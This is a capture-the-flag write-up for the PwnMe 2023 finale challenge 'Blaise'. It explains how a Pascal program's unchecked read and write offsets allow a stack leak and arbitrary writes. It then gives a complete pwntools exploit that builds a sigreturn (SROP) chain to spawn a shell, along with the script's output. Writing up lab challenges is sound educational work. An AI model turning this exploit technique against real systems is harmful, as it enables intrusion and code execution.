[PWNME2023 Finale] Pwn - Blaise
Introduction
This challenge was made by Express for the Pwnme CTF Finale and was an easy pwn challenge wrote in Pascal.
TL;DR
- Exploit an arbitrary write to do a SROP.
Static analysis of the program
We are given the following code for the challenge:
1Program pwnme(output);
2
3var
4 retry: char;
5 choice: char;
6
7function write_data : integer;
8var
9 i: integer;
10 value: String;
11 offset: integer;
12 buf: array[0..0] of Byte;
13begin
14 // Get offset
15 Write('Offset: ');
16 Flush(Output);
17 ReadLn(Input, offset);
18
19 // Get value
20 Write('Value: ');
21 Flush(Output);
22 ReadLn(Input, value);
23
24 // Write value
25 for i := 0 to length(value) do
26 begin
27 buf[i + offset] := byte(value[i]);
28 end;
29
30 Write('[?] You wrote ');
31 Write(i);
32 WriteLn(' bytes.');
33 Flush(Output);
34
35 write_data := i;
36end;
37
38function read_data : integer;
39var
40 i: integer;
41 size: integer;
42 offset: integer;
43 buf: array[0..0] of Byte;
44begin
45 // Get offset
46 Write('Offset: ');
47 Flush(Output);
48 ReadLn(Input, offset);
49
50 // Get size
51 Write('Size: ');
52 Flush(Output);
53 ReadLn(Input, size);
54
55 // Read value
56 for i := 0 to size do
57 begin
58 Write(byte(buf[i + offset]));
59 Write(' ')
60 end;
61
62 WriteLn('');
63
64 Write('[?] You read ');
65 Write(i);
66 WriteLn(' bytes.');
67 Flush(Output);
68
69 read_data := i;
70end;
71
72procedure menu;
73begin
74 WriteLn('What do you want ?');
75 WriteLn('- 1. Read');
76 WriteLn('- 2. Write');
77 Write('> ');
78end;
79
80begin
81 repeat
82 begin
83 menu();
84
85 Flush(Output);
86
87 ReadLn(Input, choice);
88
89 case choice of
90 '1' : read_data();
91 '2' : write_data();
92 else
93 WriteLn('Error.');
94 Flush(Output);
95 exit;
96 end;
97
98 // Try again ?
99 WriteLn('[+] Try again ?');
100 Write('> ');
101 Flush(Output);
102
103 ReadLn(Input, retry)
104 end;
105 until retry <> 'y';
106
107 WriteLn('Goodbye.');
108 Flush(Output);
109end.
The binary has two major functions:
- Read data with the read_data function .
- Write data with the write_data function.
The read_data function reads the data like this:
1// Read value, offset is the input we provided the program
2 for i := 0 to size do
3 begin
4 Write(byte(buf[i + offset]));
5 Write(' ')
6 end;
7
8 WriteLn('');
The write_Data function writes the data like this:
1// Where both offset and value variables that we input.
2for i := 0 to length(value) do
3 begin
4 buf[i + offset] := byte(value[i]);
5 end;
Those two functions are interesting because they do not check the offset we give to write/read to.
It means that if we find a way to leak the address of the buf variable, we would end up with an arbitrary read/write: as an example, if the address of buf is 0x7ffffffdf050 and we want to write to 0x7ffffffdd000 we would need to give the program the offset 0x7ffffffdd000-0x7ffffffdf050=-8272 .
This is the function I wrote in python to automate the arbitrary read:
1def write_data(base,target, content):
2 p.sendline(b"2")
3 p.recvuntil(b"Offset: ")
4 offset_addr = target - base
5 /*
6 I add 0x110 to the result because for some reason,
7 the program substracted 0x110 to my address.
8 After investigating I found that it was because the line moving
9 the content to the address did this:
10 mov byte [rbp+rcx-0x110 {var_118}], dl
11 */
12 p.sendline(str(offset_addr+0x110).encode())
13 p.recvuntil(b"Value: ")
14 p.sendline(content)
After debugging the binary I found that we could leak a stack address by simply reading 8 bytes at the offset 20 and we would then find the address of buf.
Which gives us the following function:
1def get_leak():
2 p.sendline(b"1")
3 p.recvuntil(b"Offset: ")
4 p.sendline(str(20).encode())
5 p.recvuntil(b"Size: ")
6 p.sendline(str(8-1).encode())
7 return p.recvline().strip()
We now have every elements to exploit our program: we have defeated the ASLR and we have an arbitrary write and arbitrary read .
Now what ?
In case you forgot, the program has been wrote in Pascal which has the particularity of 1. being a pain in the ass to decompile 2. not using the libc so we can’t just do system("/bin/sh”) we have to make a rop that spawns a shell.
A SROP (Sigreturn-oriented programming) is a technique presented in 2014 at the 35th IEEE Symposium on Security and Privacy
and allows us via the syscall 15 to craft a fake sigcontext structure (could be called a “context” I guess ?) for the binary to return to in case the signal handler is completed. Via this technique we can control the value of every registers without being limited by the available gadgets.
Because pwntools is a work of art, we don’t need to make our fake sigcontext structure by hand:
1pop_rax = 0x0000000000414063
2syscall = 0x000000000040106e
3
4frame = SigreturnFrame()
5frame.rax = 0x3b # execve
6frame.rdi = bin_sh # pointer to /bin/sh that we wrote with our arbitrary write.
7frame.rsi = 0x0 # NULL
8frame.rdx = 0x0 # NULL
9frame.rip = 0x000000000040106e # syscall
The last thing to do is to overwrite the return address with our rop chain and here we are.
Exploit
Here is my final exploit in python:
1from pwn import *
2
3elf = context.binary = ELF('./challenge', checksec=False)
4
5
6p = process(elf.path)
7
8def get_leak():
9 p.sendline(b"1")
10 p.recvuntil(b"Offset: ")
11 p.sendline(str(20).encode())
12 p.recvuntil(b"Size: ")
13 p.sendline(str(8-1).encode())
14 return p.recvline().strip()
15
16def write_data(base,target, content):
17 p.sendline(b"2")
18 p.recvuntil(b"Offset: ")
19 offset_addr = target - base
20 p.sendline(str(offset_addr+0x110).encode())
21 p.recvuntil(b"Value: ")
22 p.sendline(content)
23
24
25
26p.recvuntil(b"> ")
27leak = get_leak()
28leak = leak.split()[::-1]
29
30base_leak = b"0x"
31
32for x in leak:
33 base_leak += hex(int(x, 10)).replace("0x", "").rjust(2, "0").encode()
34
35base_leak = int(base_leak, 0)-32
36ret_addr = base_leak + 7
37
38
39info("BASE LEAK @%s" % hex(base_leak))
40info("RET ADDR @%s" % hex(ret_addr))
41
42p.sendline(b"y")
43
44
45write_data(base_leak, base_leak + 500, b"/bin/sh\0")
46
47info("bin_sh @%s" % hex(base_leak + 501))
48
49bin_sh = base_leak + 501
50
51p.sendline(b"y")
52
53
54pop_rax = 0x0000000000414063
55syscall = 0x000000000040106e
56
57frame = SigreturnFrame()
58frame.rax = 0x3b # execve
59frame.rdi = bin_sh # pointer to /bin/sh
60frame.rsi = 0x0 # NULL
61frame.rdx = 0x0 # NULL
62frame.rip = 0x000000000040106e # syscall
63
64rop = p64(pop_rax)+p64(15)+p64(syscall)+bytes(frame)
65
66write_data(base_leak, ret_addr, rop)
67
68
69p.sendline(b"echo PWNED")
70p.interactive()
Here is the result once executed:
1~/PwnMe/Finale/sources ยป python exploit.py
2[+] Starting local process '/home/number/PwnMe/Finale/sources/challenge': pid 1153
3[*] BASE LEAK @0x7ffc32bd7ea0
4[*] RET ADDR @0x7ffc32bd7ea7
5[*] bin_sh @0x7ffc32bd8095
6[*] Switching to interactive mode
7[?] You wrote 255 bytes.
8PWNED
9$ cat flag.txt
10PWNME{PLACEHOLDER}
Conclusion
Huge thanks to Express for this fun chall that introduced me to the programming language “Pascal”.
If you have any question about my writeup, feel free to send me a message on Discord: @numb3rss or on Twitter: https://twitter.com/numbrs